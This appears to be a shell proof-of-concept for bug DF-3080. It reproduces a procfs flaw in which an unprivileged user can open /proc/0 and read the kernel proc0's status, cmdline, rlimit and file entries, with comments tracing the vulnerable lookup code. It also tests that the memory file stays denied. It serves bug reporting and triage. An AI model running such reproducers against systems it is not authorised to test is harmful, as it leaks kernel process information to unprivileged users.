#!/bin/sh
# DF-3080 — /proc/0 resolves to kernel proc0 for unprivileged users.
# procfs_lookup (procfs_vnops.c:798-813): atopid("0") == 0 passes the
# NO_PID test, then pfs_pfind(0) special-cases pid 0 to &proc0
# (procfs_subr.c:285-287). With security.ps_showallprocs=1 (default) the
# uid gate at procfs_vnops.c:809-811 passes and a Pproc node for pid 0 is
# created, exposing proc0's status/cmdline/rlimit/file to any user.
#
# Run as an unprivileged user. Expected (bug): all reads succeed and show
# proc0 (kernel swapper) data; readdir of /proc never lists "0".
set -e
echo "== ls -ld /proc/0 =="; ls -ld /proc/0
echo "== cat /proc/0/status =="; cat /proc/0/status
echo "== cat /proc/0/cmdline =="; cat /proc/0/cmdline; echo
echo "== head -3 /proc/0/rlimit =="; head -3 /proc/0/rlimit
echo "== readlink /proc/0/file =="; readlink /proc/0/file || true
echo "== ls /proc/0 (targets) =="; ls /proc/0
echo "== readdir check: is '0' listed in /proc? =="
ls /proc | grep -x 0 && echo "listed" || echo "not-listed (hidden object)"
echo "== deny check /proc/0/mem (expect EPERM/EACCES) =="
dd if=/proc/0/mem of=/dev/null bs=1 count=1 2>&1 | tail -1 || true
echo "BUG-REPRODUCED: unpriv can open kernel proc0 pseudo-files"